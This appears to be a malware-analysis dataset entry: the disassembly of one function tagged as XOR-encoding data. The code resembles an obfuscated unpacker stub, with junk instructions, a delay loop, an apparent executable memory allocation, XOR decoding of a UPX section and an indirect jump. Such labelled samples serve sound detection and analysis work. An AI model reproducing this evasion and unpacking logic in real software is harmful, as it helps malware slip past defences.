Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3a6808ff
add edx, eax
mov edx, eax
popal
sub eax, edx
mov eax, 0x37657b45
mov edx, 0
mov ebx, edi
mov eax, 0xb90b5bd1
and esi, eax
inc esi
mov ecx, ebx
dec eax
sub esi, eax
mov edi, ecx
add esi, 0xd19d6b4b
inc eax
inc edx
mov esi, eax
inc esi
cmp edx, 0x1001789
jne 0x47afcf
and esi, eax
add esi, eax
mov eax, esi
cmp edx, 0x1001789
je 0x47b00c
mov ecx, 0
mov byte [ecx], al
sub esi, 1
not eax
add esi, esi
and eax, edx
and edx, edx
mov esi, 0x47ada2
or eax, eax
and eax, eax
mov ebx, 0x47af96
or edx, ecx
add eax, edx
mov edi, dword [esi]
add edx, edx
or eax, eax
and edi, 0xff
add ecx, 0xea203a31
and edx, ecx
or eax, ecx
xor dword [ebx], edi
not edx
and ecx, ecx
inc ebx
add ecx, edx
sub edx, 0x4d2e0a3f
mov ecx, 0x29b981ae
inc esi
or edx, edx
or ecx, eax
cmp ebx, entry0
jl 0x47b02c
sub ecx, eax
not edx
sub ecx, edx
mov edx, 0xdde39b80
sub edx, eax
sub ecx, ebx
dec esi
sub ecx, edi
mov edx, 0x47af9a
add edi, 0x2a0dac11
and esi, edi
inc esi
mov edx, dword [edx]
inc edi
add ecx, 1
or ebx, edi
mov edx, dword [edx]
and ecx, edi
add esi, 0x86d3583b
dec esi
sub esp, 4
mov dword [esp], edx
sub ebx, 0xdb50ca0
sub ebx, 0x28627cee
mov edx, 0x47af96
sub edi, 0xa454d28d
add ecx, edi
not edi
mov edx, dword [edx]
sub ebx, 0x24c55434
add ecx, 0xe87f31e2
dec edi
mov edx, dword [edx]
sub ebx, esi
add ebx, ecx
push 0x47af9e
mov ecx, 0xefe388e0
and ebx, esi
call edx
not ebx
sub edi, 0xe433d9a3
mov edx, dword [esp]
add esp, 4
mov ecx, 0xc834704f
add ecx, 1
add esi, 0xc9dd47fd
push 0x47afab
or ecx, esi
not edi
mov esi, edi
push eax
add ebx, 0x26f4476d
not ecx
add esi, ecx
call edx
inc ebx
sub ebx, 0x588ac732
push 0x40
add ebx, ecx
inc edi
push 0x3000
inc ebx
add esi, ebx
push 0x2000098b
or edi, esi
sub ebx, esi
sub ebx, 0x9116abbd
push 0
add esi, 0x7fc9dae6
sub ebx, 0x7bb2cf07
call eax
dec esi
not ecx
mov ebx, esi
add eax, 0x200008ed
inc edi
or ebx, esi
sub ebx, 0xab659a41
mov edx, 0xa332c3b2
not ecx
or esi, ecx
mov dword [eax], edx
not ebx
add edi, ebx
sub esi, ecx
mov edx, dword [eax]
inc ecx
sub edi, 0xae466e10
and edi, edi
cmp edx, 0xa332c3b2
je 0x47b190
mov ebx, 0
mov dl, byte [ebx]
mov edi, 0x222285f8
sub ebx, ecx
dec ebx
add edi, 0xc3880435
not ebx
add eax, eax
add eax, 0xb711592a
mov edx, 0x90ad89fd
mov esi, section.UPX1
add edx, eax
add eax, 0x4779148e
add edx, edx
mov ebx, 0x47ada1
add edx, 1
add edx, edx
mov ecx, 0
add edx, 0x3c9dc765
add eax, eax
and eax, edx
mov edi, 0x47ada2
mov eax, edx
inc edx
mov edx, 0x97449b73
lea edi, [edi + ecx]
add edx, eax
and eax, eax
or edx, edx
mov edi, dword [edi]
mov eax, edx
add eax, eax
mov edx, eax
and edi, 0xff
add eax, 0x8a0c8553
add edx, 0xce43fe27
add eax, 0xf49b2dc9
inc ecx
sub eax, 0xb3d05f20
sub edx, eax
not eax
cmp ecx, 0x1f4
jne 0x47b226
mov ecx, 0
add eax, edx
add eax, eax
inc edx
add eax, 0xf1e6841a
mov eax, 0xe029865d
xor dword [esi], edi
add edx, edx
sub edx, 0x8db90550
not eax
add esi, 2
not eax
dec edx
sub eax, 1
cmp esi, ebx
jl 0x47b1d8
add eax, eax
mov edx, eax
or eax, eax
mov eax, edx
dec edx
sub edx, 0x1c43ce24
mov edi, section.UPX1
inc ecx
or eax, ecx
mov esi, section.UPX1
sub eax, 0x6f6ad436
mov ecx, eax
or eax, ecx
mov edx, 0x47ada1
mov eax, 0x7d63963
or eax, eax
not ecx
mov ebx, 0
sub eax, ecx
sub ecx, 0x5026dca8
dec eax
mov bl, byte [esi]
and eax, eax
or ecx, eax
mov byte [edi], bl
not eax
sub eax, 0xc702f0c3
inc edi
sub ecx, 0x21d8e33e
and eax, eax
add eax, eax
add esi, 2
mov ecx, 0x970e72d
add eax, 0x1b71fadf
cmp esi, edx
jle 0x47b29b
mov ecx, 0x76bcde2
mov ecx, eax
add ecx, eax
mov edx, eax
and edx, edx
sub esp, 4
mov dword [esp], 0x45e6a0
dec eax
or eax, eax
mov edx, 0xd36e0534
ret